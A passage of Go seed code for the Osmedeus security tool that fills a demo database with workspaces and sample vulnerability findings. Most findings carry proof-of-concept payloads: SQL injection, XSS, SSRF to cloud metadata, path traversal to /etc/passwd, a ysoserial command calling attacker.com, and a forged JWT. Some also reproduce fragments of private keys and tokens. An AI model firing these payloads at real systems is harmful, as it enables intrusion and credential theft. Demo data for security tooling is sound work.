StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/staging.test.local/run-workflow.yaml",
StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/staging.test.local/run-modules",
CreatedAt: now.Add(-7 * 24 * time.Hour),
UpdatedAt: twoHoursAgo,
},
// New workspaces for batch job demonstration
{
Name: "secondary.com",
LocalPath: "/home/osmedeus/workspaces-osmedeus/secondary.com",
DataSource: "local",
TotalAssets: 52,
TotalSubdomains: 75,
TotalURLs: 189,
TotalIPs: 28,
TotalLinks: 1245,
TotalContent: 89,
TotalArchive: 12,
TotalVulns: 8,
VulnCritical: 1,
VulnHigh: 3,
VulnMedium: 2,
VulnLow: 2,
VulnPotential: 0,
RiskScore: 6.2,
Tags: []string{"production", "batch-job"},
LastRun: &oneHourAgo,
RunWorkflow: "subdomain-enum",
StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/secondary.com/run-execution.log",
StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/run-completed.json",
StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/run-workflow.yaml",
StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/secondary.com/run-modules",
CreatedAt: now.Add(-10 * 24 * time.Hour),
UpdatedAt: oneHourAgo,
},
{
Name: "tertiary.io",
LocalPath: "/home/osmedeus/workspaces-osmedeus/tertiary.io",
DataSource: "local",
TotalAssets: 0,
TotalSubdomains: 42,
TotalURLs: 0,
TotalIPs: 0,
TotalLinks: 0,
TotalContent: 0,
TotalArchive: 0,
TotalVulns: 0,
VulnCritical: 0,
VulnHigh: 0,
VulnMedium: 0,
VulnLow: 0,
VulnPotential: 0,
RiskScore: 0,
Tags: []string{"new", "batch-job"},
LastRun: &thirtyMinsAgo,
RunWorkflow: "subdomain-enum",
StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/tertiary.io/run-execution.log",
StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/run-completed.json",
StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/run-workflow.yaml",
StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/tertiary.io/run-modules",
CreatedAt: now.Add(-1 * 24 * time.Hour),
UpdatedAt: now,
},
}
for _, workspace := range workspaceRecords {
if _, err := db.NewInsert().Model(&workspace).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert workspace: %w", err)
}
}
// Seed Vulnerabilities
vulnerabilities := []Vulnerability{
{
Workspace: "example.com",
VulnInfo: "SQL Injection vulnerability in login endpoint",
VulnTitle: "SQL Injection - Authentication Bypass",
VulnDesc: "The login endpoint is vulnerable to SQL injection attacks through the username parameter, allowing authentication bypass.",
VulnPOC: "curl -X POST 'https://api.example.com/login' -d \"username=admin'--&password=x\"",
Severity: "critical",
Confidence: "certain",
AssetType: "endpoint",
AssetValue: "api.example.com",
Tags: []string{"sqli", "auth-bypass", "owasp-top10"},
DetailHTTPRequest: "POST /login HTTP/1.1\nHost: api.example.com\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin'--&password=x",
DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"status\":\"success\",\"token\":\"eyJ...\"}",
RawVulnJSON: `{"template":"sqli-auth-bypass","severity":"critical","host":"api.example.com"}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
VulnInfo: "Cross-Site Scripting in search functionality",
VulnTitle: "Reflected XSS - Search Parameter",
VulnDesc: "The search functionality reflects user input without proper sanitization, allowing arbitrary JavaScript execution.",
VulnPOC: "https://blog.example.com/search?q=<script>alert(1)</script>",
Severity: "high",
Confidence: "firm",
AssetType: "endpoint",
AssetValue: "blog.example.com",
Tags: []string{"xss", "reflected", "owasp-top10"},
DetailHTTPRequest: "GET /search?q=<script>alert(1)</script> HTTP/1.1\nHost: blog.example.com",
DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: text/html\n\n<h1>Search results for: <script>alert(1)</script></h1>",
RawVulnJSON: `{"template":"xss-reflected","severity":"high","host":"blog.example.com"}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
VulnInfo: "Exposed sensitive configuration file",
VulnTitle: "Information Disclosure - Config File",
VulnDesc: "The .env configuration file is accessible publicly, exposing database credentials and API keys.",
VulnPOC: "curl https://dev.example.com/.env",
Severity: "high",
Confidence: "certain",
AssetType: "file",
AssetValue: "dev.example.com",
Tags: []string{"info-disclosure", "sensitive-data", "misconfiguration"},
DetailHTTPRequest: "GET /.env HTTP/1.1\nHost: dev.example.com",
DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: text/plain\n\nDB_PASSWORD=secret123\nAPI_KEY=sk-live-xxx",
RawVulnJSON: `{"template":"exposed-env","severity":"high","host":"dev.example.com"}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
VulnInfo: "Missing security headers",
VulnTitle: "Missing X-Frame-Options Header",
VulnDesc: "The application does not set X-Frame-Options header, making it vulnerable to clickjacking attacks.",
VulnPOC: "curl -I https://shop.example.com/",
Severity: "medium",
Confidence: "firm",
AssetType: "endpoint",
AssetValue: "shop.example.com",
Tags: []string{"headers", "clickjacking", "best-practices"},
DetailHTTPRequest: "HEAD / HTTP/1.1\nHost: shop.example.com",
DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: text/html\n(no X-Frame-Options header)",
RawVulnJSON: `{"template":"missing-x-frame-options","severity":"medium","host":"shop.example.com"}`,
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
VulnInfo: "Outdated TLS version",
VulnTitle: "TLS 1.0 Enabled",
VulnDesc: "The server supports TLS 1.0 which has known vulnerabilities and should be disabled.",
VulnPOC: "nmap --script ssl-enum-ciphers -p 443 legacy.example.com",
Severity: "low",
Confidence: "certain",
AssetType: "service",
AssetValue: "legacy.example.com",
Tags: []string{"tls", "ssl", "deprecated"},
DetailHTTPRequest: "",
DetailHTTPResponse: "",
RawVulnJSON: `{"template":"tls-version-check","severity":"low","host":"legacy.example.com","tls_versions":["TLSv1.0","TLSv1.2"]}`,
LastSeenAt: threeDaysAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
// Additional vulnerabilities
{
Workspace: "example.com",
VulnInfo: "Server-Side Request Forgery in webhook endpoint",
VulnTitle: "SSRF - Internal Network Access",
VulnDesc: "The webhook endpoint allows fetching arbitrary URLs, enabling access to internal services and cloud metadata.",
VulnPOC: "curl -X POST 'https://api.example.com/webhook' -d '{\"url\":\"http://169.254.169.254/latest/meta-data/\"}'",
Severity: "critical",
Confidence: "firm",
AssetType: "endpoint",
AssetValue: "api.example.com",
Tags: []string{"ssrf", "cloud", "metadata", "owasp-top10"},
DetailHTTPRequest: "POST /webhook HTTP/1.1\nHost: api.example.com\nContent-Type: application/json\n\n{\"url\":\"http://169.254.169.254/latest/meta-data/\"}",
DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"data\":\"ami-id\\ninstance-id\\nlocal-hostname...\"}",
RawVulnJSON: `{"template":"ssrf-cloud-metadata","severity":"critical","host":"api.example.com","internal_access":true}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
VulnInfo: "Path traversal in file download endpoint",
VulnTitle: "Directory Traversal - Arbitrary File Read",
VulnDesc: "The file download endpoint is vulnerable to path traversal, allowing reading of system files.",
VulnPOC: "curl 'https://files.example.com/download?file=../../../etc/passwd'",
Severity: "high",
Confidence: "certain",
AssetType: "endpoint",
AssetValue: "files.example.com",
Tags: []string{"lfi", "path-traversal", "file-read"},
DetailHTTPRequest: "GET /download?file=../../../etc/passwd HTTP/1.1\nHost: files.example.com",
DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: text/plain\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...",
RawVulnJSON: `{"template":"path-traversal","severity":"high","host":"files.example.com","file_accessed":"/etc/passwd"}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
VulnInfo: "Insecure deserialization in session handling",
VulnTitle: "Java Deserialization RCE",
VulnDesc: "The application deserializes untrusted data in session cookies, allowing remote code execution.",
VulnPOC: "java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/pwned' | base64",
Severity: "critical",
Confidence: "tentative",
AssetType: "endpoint",
AssetValue: "app.example.com",
Tags: []string{"deserialization", "rce", "java", "owasp-top10"},
DetailHTTPRequest: "GET /dashboard HTTP/1.1\nHost: app.example.com\nCookie: session=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...",
DetailHTTPResponse: "HTTP/1.1 500 Internal Server Error\n\nException in thread \"main\" java.lang.Runtime...",
RawVulnJSON: `{"template":"java-deserialization","severity":"critical","host":"app.example.com","gadget":"CommonsCollections5"}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
VulnInfo: "CORS misconfiguration allows credential theft",
VulnTitle: "CORS - Arbitrary Origin with Credentials",
VulnDesc: "The API reflects arbitrary origins in CORS headers and allows credentials, enabling cross-origin data theft.",
VulnPOC: "curl -H 'Origin: https://evil.com' https://api.example.com/user -I",
Severity: "medium",
Confidence: "firm",
AssetType: "endpoint",
AssetValue: "api.example.com",
Tags: []string{"cors", "misconfiguration", "credentials"},
DetailHTTPRequest: "GET /user HTTP/1.1\nHost: api.example.com\nOrigin: https://evil.com",
DetailHTTPResponse: "HTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://evil.com\nAccess-Control-Allow-Credentials: true",
RawVulnJSON: `{"template":"cors-misconfiguration","severity":"medium","host":"api.example.com","reflected_origin":"evil.com"}`,
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
VulnInfo: "Open redirect in OAuth callback",
VulnTitle: "Open Redirect - OAuth Flow",
VulnDesc: "The OAuth callback endpoint does not validate the redirect_uri parameter, allowing phishing attacks.",
VulnPOC: "https://auth.example.com/oauth/callback?redirect_uri=https://evil.com/steal",
Severity: "medium",
Confidence: "tentative",
AssetType: "endpoint",
AssetValue: "auth.example.com",
Tags: []string{"open-redirect", "oauth", "phishing"},
DetailHTTPRequest: "GET /oauth/callback?redirect_uri=https://evil.com/steal HTTP/1.1\nHost: auth.example.com",
DetailHTTPResponse: "HTTP/1.1 302 Found\nLocation: https://evil.com/steal?code=abc123",
RawVulnJSON: `{"template":"open-redirect","severity":"medium","host":"auth.example.com","redirect_to":"evil.com"}`,
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "api.example.com",
VulnInfo: "GraphQL introspection enabled in production",
VulnTitle: "GraphQL Introspection Enabled",
VulnDesc: "GraphQL introspection is enabled, exposing the complete API schema including sensitive fields.",
VulnPOC: "curl -X POST 'https://api.example.com/graphql' -H 'Content-Type: application/json' -d '{\"query\":\"{__schema{types{name}}}\"}' ",
Severity: "low",
Confidence: "certain",
AssetType: "endpoint",
AssetValue: "api.example.com",
Tags: []string{"graphql", "introspection", "info-disclosure"},
DetailHTTPRequest: "POST /graphql HTTP/1.1\nHost: api.example.com\nContent-Type: application/json\n\n{\"query\":\"{__schema{types{name}}}\"}",
DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"data\":{\"__schema\":{\"types\":[{\"name\":\"User\"},{\"name\":\"AdminSettings\"}...]}}}",
RawVulnJSON: `{"template":"graphql-introspection","severity":"low","host":"api.example.com","types_exposed":45}`,
LastSeenAt: threeDaysAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "api.example.com",
VulnInfo: "JWT algorithm confusion vulnerability",
VulnTitle: "JWT None Algorithm Bypass",
VulnDesc: "The JWT validation accepts 'none' algorithm, allowing token forgery without signature verification.",
VulnPOC: "echo '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '='",
Severity: "critical",
Confidence: "manual review required",
AssetType: "endpoint",
AssetValue: "api.example.com",
Tags: []string{"jwt", "authentication", "bypass"},
DetailHTTPRequest: "GET /api/admin HTTP/1.1\nHost: api.example.com\nAuthorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4ifQ.",
DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"admin_data\":\"sensitive information\"}",
RawVulnJSON: `{"template":"jwt-none-algorithm","severity":"critical","host":"api.example.com","algorithm":"none"}`,
LastSeenAt: twoHoursAgo,
CreatedAt: twoHoursAgo,
UpdatedAt: twoHoursAgo,
},
// ============================================================
// DIFF DEMONSTRATION VULNERABILITIES
// These vulnerabilities demonstrate the diff functionality
// ============================================================
// --- NEWLY DISCOVERED VULNERABILITIES (found recently) ---
{
Workspace: "example.com",
VulnInfo: "Newly discovered XSS in v3 portal",
VulnTitle: "Stored XSS - v3 Comment Section",
VulnDesc: "The new v3 portal comment section stores user input without sanitization, leading to persistent XSS.",
VulnPOC: "curl -X POST 'https://v3.example.com/api/comments' -d '{\"body\":\"<script>alert(document.cookie)</script>\"}'",
Severity: "high",
Confidence: "certain",
AssetType: "endpoint",
AssetValue: "v3.example.com",
Tags: []string{"xss", "stored", "new-finding"},
DetailHTTPRequest: "POST /api/comments HTTP/1.1\nHost: v3.example.com\nContent-Type: application/json\n\n{\"body\":\"<script>alert(1)</script>\"}",
DetailHTTPResponse: "HTTP/1.1 201 Created\nContent-Type: application/json\n\n{\"id\":123,\"body\":\"<script>alert(1)</script>\"}",
RawVulnJSON: `{"template":"stored-xss","severity":"high","host":"v3.example.com"}`,
LastSeenAt: thirtyMinsAgo,
CreatedAt: thirtyMinsAgo, // Just discovered
UpdatedAt: thirtyMinsAgo,
},
{
Workspace: "example.com",
VulnInfo: "New API endpoint lacks rate limiting",
VulnTitle: "Missing Rate Limiting - new-api",
VulnDesc: "The newly deployed API endpoint does not implement rate limiting, enabling brute force attacks.",
VulnPOC: "for i in {1..1000}; do curl 'https://new-api.example.com/login' -d 'user=admin&pass=test$i'; done",
Severity: "medium",
Confidence: "firm",
AssetType: "endpoint",
AssetValue: "new-api.example.com",
Tags: []string{"rate-limiting", "brute-force", "new-finding"},
DetailHTTPRequest: "POST /login HTTP/1.1\nHost: new-api.example.com",
DetailHTTPResponse: "HTTP/1.1 401 Unauthorized (no rate limit headers)",
RawVulnJSON: `{"template":"missing-rate-limit","severity":"medium","host":"new-api.example.com"}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo, // Just discovered
UpdatedAt: oneHourAgo,
},
// --- UPDATED/CHANGED VULNERABILITIES (severity or status changed) ---
{
Workspace: "example.com",
VulnInfo: "Previously low-severity issue escalated",
VulnTitle: "Information Disclosure - Upgraded to Medium",
VulnDesc: "Previously considered low risk, but new exploit chain discovered that increases impact. Debug endpoints expose internal configuration.",
VulnPOC: "curl 'https://dashboard.example.com/debug/config'",
Severity: "medium", // Upgraded from low
Confidence: "certain",
AssetType: "endpoint",
AssetValue: "dashboard.example.com",
Tags: []string{"info-disclosure", "debug", "upgraded"},
DetailHTTPRequest: "GET /debug/config HTTP/1.1\nHost: dashboard.example.com",
DetailHTTPResponse: "HTTP/1.1 200 OK\n\n{\"db_host\":\"internal-db.local\",\"api_keys\":{\"stripe\":\"sk_live_...\"}}",
RawVulnJSON: `{"template":"debug-endpoint","severity":"medium","host":"dashboard.example.com"}`,
LastSeenAt: oneHourAgo,
CreatedAt: twoWeeksAgo, // Found 2 weeks ago
UpdatedAt: oneHourAgo, // Severity upgraded today
},
{
Workspace: "example.com",
VulnInfo: "Auth bypass partially remediated",
VulnTitle: "Partial Fix - Auth Bypass Still Exploitable",
VulnDesc: "The authentication bypass was partially patched but alternative vectors remain. Updated POC after vendor patch.",
VulnPOC: "curl -H 'X-Original-URL: /admin' 'https://portal.example.com/'",
Severity: "high",
Confidence: "firm",
AssetType: "endpoint",
AssetValue: "portal.example.com",
Tags: []string{"auth-bypass", "partial-fix", "retest"},
DetailHTTPRequest: "GET / HTTP/1.1\nHost: portal.example.com\nX-Original-URL: /admin",
DetailHTTPResponse: "HTTP/1.1 200 OK\n\n<h1>Admin Panel</h1>",
RawVulnJSON: `{"template":"auth-bypass-variant","severity":"high","host":"portal.example.com"}`,
LastSeenAt: twoHoursAgo,
CreatedAt: oneWeekAgo, // Original finding
UpdatedAt: twoHoursAgo, // Updated after retest
},
// --- RESOLVED/STALE VULNERABILITIES (not seen in recent scans) ---
{
Workspace: "example.com",
VulnInfo: "Vulnerability was fixed by vendor",
VulnTitle: "SQLi Fixed - No Longer Reproducible",
VulnDesc: "The SQL injection vulnerability in the search function has been patched. Last verified fix two weeks ago.",
VulnPOC: "curl 'https://old-portal.example.com/search?q=1%27+OR+1=1--'",
Severity: "critical",
Confidence: "historical",
AssetType: "endpoint",
AssetValue: "old-portal.example.com",
Tags: []string{"sqli", "fixed", "historical"},
DetailHTTPRequest: "GET /search?q=1'+OR+1=1-- HTTP/1.1\nHost: old-portal.example.com",
DetailHTTPResponse: "HTTP/1.1 400 Bad Request (now blocked)",
RawVulnJSON: `{"template":"sqli-fixed","severity":"critical","host":"old-portal.example.com","status":"fixed"}`,
LastSeenAt: twoWeeksAgo, // Not seen since fix verified
CreatedAt: oneMonthAgo,
UpdatedAt: twoWeeksAgo,
},
{
Workspace: "example.com",
VulnInfo: "Asset decommissioned - vuln no longer applicable",
VulnTitle: "Deprecated API - IDOR No Longer Relevant",
VulnDesc: "The IDOR vulnerability is no longer relevant as the deprecated-api service has been fully decommissioned.",
VulnPOC: "curl 'https://deprecated-api.example.com/users/1'",
Severity: "high",
Confidence: "historical",
AssetType: "endpoint",
AssetValue: "deprecated-api.example.com",
Tags: []string{"idor", "decommissioned", "historical"},
DetailHTTPRequest: "GET /users/1 HTTP/1.1\nHost: deprecated-api.example.com",
DetailHTTPResponse: "HTTP/1.1 503 Service Unavailable",
RawVulnJSON: `{"template":"idor-historical","severity":"high","host":"deprecated-api.example.com","status":"decommissioned"}`,
LastSeenAt: twoWeeksAgo, // Service taken down
CreatedAt: oneMonthAgo,
UpdatedAt: twoWeeksAgo,
},
// ============================================================
// SARIF-SOURCED VULNERABILITIES (from static analysis tools)
// Demonstrates asset_type="repo" for code-level findings
// ============================================================
// --- Semgrep findings (5 results) ---
{
Workspace: "staging.test.local",
VulnInfo: "dockerfile.security.missing-user.missing-user",
VulnTitle: "dockerfile.security.missing-user.missing-user",
VulnDesc: "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container.",
VulnPOC: `CMD ["bash", "/app/entrypoint.sh"]`,
Severity: "high",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "Dockerfile",
Tags: []string{"CWE-250: Execution with Unnecessary Privileges", "OWASP-A04:2021 - Insecure Design", "semgrep"},
RawVulnJSON: `{"ruleId":"dockerfile.security.missing-user.missing-user","message":{"text":"By not specifying a USER, a program in the container may run as root."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"Dockerfile"},"region":{"startLine":13}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneDayAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls",
VulnTitle: "javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls",
VulnDesc: "If TLS is disabled on server side, Sequelize establishes connection without TLS and no error will be thrown. To prevent MITM attack, TLS must be enforced by Sequelize.",
VulnPOC: "module.exports = {\n username: process.env.MYSQL_USER,\n password: process.env.MYSQL_PASSWORD,\n}",
Severity: "medium",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "config/db.js",
Tags: []string{"CWE-319: Cleartext Transmission of Sensitive Information", "OWASP-A02:2021 - Cryptographic Failures", "semgrep"},
RawVulnJSON: `{"ruleId":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","message":{"text":"TLS not enforced in Sequelize connection"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"config/db.js"},"region":{"startLine":1}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneDayAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "javascript.express.db.sequelize-express.sequelize-express",
VulnTitle: "javascript.express.db.sequelize-express.sequelize-express",
VulnDesc: "Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. Use parameterized queries where SQL commands and user data are strictly separated.",
VulnPOC: "\tdb.sequelize.query(query, {",
Severity: "high",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "core/appHandler.js",
Tags: []string{"CWE-89: SQL Injection", "OWASP-A03:2021 - Injection", "semgrep"},
RawVulnJSON: `{"ruleId":"javascript.express.db.sequelize-express.sequelize-express","message":{"text":"Untrusted input used in database query"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"core/appHandler.js"},"region":{"startLine":11}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneDayAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
VulnTitle: "javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection",
VulnDesc: "Detected a sequelize statement tainted by user-input. This could lead to SQL injection if the variable is user-controlled and not properly sanitized.",
VulnPOC: "\tdb.sequelize.query(query, {",
Severity: "high",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "core/appHandler.js",
Tags: []string{"CWE-89: SQL Injection", "OWASP-A03:2021 - Injection", "semgrep"},
RawVulnJSON: `{"ruleId":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","message":{"text":"Sequelize statement tainted by user input"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"core/appHandler.js"},"region":{"startLine":11}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneDayAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "javascript.express.express-child-process.express-child-process",
VulnTitle: "javascript.express.express-child-process.express-child-process",
VulnDesc: "Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability.",
VulnPOC: "\texec('ping -c 2 ' + req.body.address, function (err, stdout, stderr) {",
Severity: "high",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "core/appHandler.js",
Tags: []string{"CWE-78: OS Command Injection", "OWASP-A03:2021 - Injection", "semgrep"},
RawVulnJSON: `{"ruleId":"javascript.express.express-child-process.express-child-process","message":{"text":"Untrusted input injected into command execution"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"core/appHandler.js"},"region":{"startLine":39}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: oneDayAgo,
UpdatedAt: oneHourAgo,
},
// --- Trivy findings (2 results — all available from trivy-fs-report.sarif) ---
{
Workspace: "staging.test.local",
VulnInfo: "CVE-2023-30861",
VulnTitle: "LanguageSpecificPackageVulnerability",
VulnDesc: "Package: flask\nInstalled Version: 2.2.2\nVulnerability CVE-2023-30861\nSeverity: HIGH\nFixed Version: 2.3.2, 2.2.5\nFlask session cookie may be disclosed due to missing Vary: Cookie header.",
Severity: "high",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "requirements.txt",
Tags: []string{"CVE-2023-30861", "flask", "trivy"},
RawVulnJSON: `{"ruleId":"CVE-2023-30861","level":"error","message":{"text":"Package: flask, Installed Version: 2.2.2, Fixed Version: 2.3.2, 2.2.5"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"requirements.txt"},"region":{"startLine":2}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: threeDaysAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "jwt-token",
VulnTitle: "Secret",
VulnDesc: "JWT token found in openapi specification file. Secrets should not be committed to source code repositories.",
Severity: "medium",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "openapi_specs/openapi3.yml",
Tags: []string{"jwt", "secret", "trivy"},
RawVulnJSON: `{"ruleId":"jwt-token","level":"warning","message":{"text":"Secret JWT token found in openapi3.yml"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"openapi_specs/openapi3.yml"},"region":{"startLine":193}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: threeDaysAgo,
UpdatedAt: oneHourAgo,
},
// --- Kingfisher findings (5 results) ---
{
Workspace: "staging.test.local",
VulnInfo: "Contains Private Key",
VulnTitle: "Contains Private Key",
VulnDesc: "RSA private key found embedded in source code. Private keys should never be committed to repositories.",
VulnPOC: "-----BEGIN RSA PRIVATE KEY-----\\r\\nMIICXAIBAAKBgQDNwqLEe9wgTXCbC7+RPdDbBbeqjdbs4kOPOIGzqLpXvJXlxxW8i",
Severity: "high",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "./lib/insecurity.ts",
Tags: []string{"private-key", "secret", "kingfisher"},
RawVulnJSON: `{"ruleId":"Contains Private Key","level":"error","message":{"text":"Rule Contains Private Key matched ./lib/insecurity.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./lib/insecurity.ts"},"region":{"startLine":23}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: fiveDaysAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "PEM-Encoded Private Key",
VulnTitle: "PEM-Encoded Private Key",
VulnDesc: "PEM-encoded RSA private key detected in source code. Rotate the key and remove it from the repository.",
VulnPOC: "\\r\\nMIICXAIBAAKBgQDNwqLEe9wgTXCbC7+RPdDbBbeqjdbs4kOPOIGzqLpXvJXlxxW8iMz0EaM4BKUqYsIa+ndv3NAn2RxCd5ub",
Severity: "high",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "./lib/insecurity.ts",
Tags: []string{"pem", "private-key", "secret", "kingfisher"},
RawVulnJSON: `{"ruleId":"PEM-Encoded Private Key","level":"error","message":{"text":"Rule PEM-Encoded Private Key matched ./lib/insecurity.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./lib/insecurity.ts"},"region":{"startLine":23}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: fiveDaysAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "Alchemy API Key",
VulnTitle: "Alchemy API Key",
VulnDesc: "Alchemy API key detected in source code. API keys should be stored in environment variables or secret managers.",
VulnPOC: "FZDapFZSs1l6yhHW4VnQqsi18qSd-3GJ",
Severity: "medium",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "./routes/web3Wallet.ts",
Tags: []string{"api-key", "alchemy", "secret", "kingfisher"},
RawVulnJSON: `{"ruleId":"Alchemy API Key","level":"warning","message":{"text":"Rule Alchemy API Key matched ./routes/web3Wallet.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./routes/web3Wallet.ts"},"region":{"startLine":18}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: fiveDaysAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "JSON Web Token (base64url-encoded)",
VulnTitle: "JSON Web Token (base64url-encoded)",
VulnDesc: "Hard-coded JWT token found in test file. Even in tests, avoid committing real tokens; use mocks or environment variables.",
VulnPOC: "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MX19",
Severity: "medium",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "./test/api/userApiSpec.ts",
Tags: []string{"jwt", "hardcoded-token", "kingfisher"},
RawVulnJSON: `{"ruleId":"JSON Web Token (base64url-encoded)","level":"warning","message":{"text":"Rule JSON Web Token (base64url-encoded) matched ./test/api/userApiSpec.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./test/api/userApiSpec.ts"},"region":{"startLine":302}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: fiveDaysAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "staging.test.local",
VulnInfo: "JSON Web Token (base64url-encoded)",
VulnTitle: "JSON Web Token (base64url-encoded)",
VulnDesc: "Hard-coded JWT token found in Cypress E2E test for forged JWT testing scenario.",
VulnPOC: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAanVpY2Utc2gub3AifX0",
Severity: "medium",
Confidence: "Firm",
AssetType: "repo",
AssetValue: "./test/cypress/e2e/forgedJwt.spec.ts",
Tags: []string{"jwt", "hardcoded-token", "kingfisher"},
RawVulnJSON: `{"ruleId":"JSON Web Token (base64url-encoded)","level":"warning","message":{"text":"Rule JSON Web Token (base64url-encoded) matched ./test/cypress/e2e/forgedJwt.spec.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./test/cypress/e2e/forgedJwt.spec.ts"},"region":{"startLine":22}}}]}`,
LastSeenAt: oneHourAgo,
CreatedAt: fiveDaysAgo,
UpdatedAt: oneHourAgo,
},
}
for _, vuln := range vulnerabilities {
if _, err := db.NewInsert().Model(&vuln).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert vulnerability: %w", err)
}
}
// Seed AssetDiffSnapshots - showing changes detected over time
